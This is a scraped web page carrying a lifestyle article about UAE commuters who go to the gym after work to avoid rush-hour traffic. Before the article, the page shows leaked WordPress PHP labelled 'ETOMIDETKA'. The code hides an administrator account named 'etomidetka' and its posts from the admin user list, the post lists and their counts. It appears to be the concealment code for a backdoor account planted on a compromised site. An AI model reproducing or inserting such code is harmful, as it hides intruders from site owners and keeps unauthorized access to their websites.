//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Traffic to Treadmills- UAE Residents Turn Rush Hour Into Wellness Time
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Traffic to Treadmills- UAE Residents Turn Rush Hour Into Wellness Time

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3 weeks ago

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Traffic to Treadmills UAE Residents Turn Rush Hour Into Wellness Time

Traffic to Treadmills. Traffic to Treadmills Rush hour traffic in the UAE is an undeniable part of daily life for many commuters. With gridlocked roads often stretching travel times to hours, some individuals are opting for a healthier, time-efficient solution: heading straight to the gym.

This emerging trend is not only helping people avoid traffic frustration but also enhancing their mental and physical health. Here’s how UAE residents are reshaping their routines and reclaiming their time.

Practical Solution to Rush Hour Chaos

For many, battling rush hour traffic means spending hours stuck on congested roads, leading to exhaustion and wasted time. However, some residents, like Alaa Alhaj, have adopted a proactive approach. Alaa decided to head directly to the gym after work, bypassing peak traffic and making the most of her evenings.

“Due to the heavy traffic, I found it difficult to head home first and then go to the gym after work,” Alaa explained. Instead, she streamlined her routine, using the gym as a productive stop. This approach has significantly reduced her stress and boosted her energy levels.

“Rather than wasting an hour or more in traffic, I get to exercise and unwind. By the time my session is over, the roads are clearer, and my commute home is much shorter,” Alaa shared. This efficient use of time has not only improved her fitness but also brought balance to her personal and professional life.

Holistic Benefits of Gym Sessions Post-Work

The advantages of this lifestyle shift extend beyond saving time. Regular exercise during rush hour has been linked to improvements in physical health, stress management, and productivity. For Rania Moustafa, a 23-year-old corporate professional, this change has been transformative.

“After a full workday of sitting and focusing on my laptop, the idea of sitting through another hour in traffic was unbearable,” Rania explained. She now uses this time to hit the gym, finding solace and rejuvenation in her workouts.

“Exercise releases endorphins and helps me release negative energy. By the time I leave the gym, I feel refreshed and accomplished,” she added. For Rania, the gym has become more than a fitness center; it’s a space to unwind, recharge, and maintain a positive work-life balance.

Reducing Stress and Building Resilience

For commuters facing particularly long journeys, the gym serves as a sanctuary. Diya Jadallah, who travels from Dubai to Ajman daily, saw his two-hour commute taking a toll on his mental and physical health.

“I needed to break the cycle of sitting in traffic and feeling exhausted. The gym gave me a sense of control over my day,” Diya shared. Regular workouts have improved his strength, endurance, and overall well-being. “The gym is my escape. It helps me reset after a long day and keeps me feeling positive.”

Maximizing Time and Enhancing Routine

Similarly, Hazem Hamra discovered that spending hours in traffic was a waste of time that could be put to better use. “Instead of sitting in a car for three hours, I work out. By the time I’m done, the roads are clearer, and I feel healthier,” he said.

Hazem emphasized the importance of prioritizing personal health and efficiency. “This routine has helped me maintain discipline and stick to a schedule, improving my overall work-life balance.”

A Growing Trend with Lasting Impact

This shift in lifestyle highlights a broader trend among UAE residents, who are finding creative ways to manage the challenges of urban living. By turning the frustration of rush hour into an opportunity for self-improvement, individuals are not only reclaiming their time but also investing in their long-term health and happiness.

Conclusion

As more residents embrace this innovative approach, the UAE urban culture is gradually shifting towards healthier and more balanced lifestyles. The message is clear: challenges like rush hour traffic don’t have to define your day.

With a little planning, you can transform downtime into productive, fulfilling moments that enrich both your body and mind.

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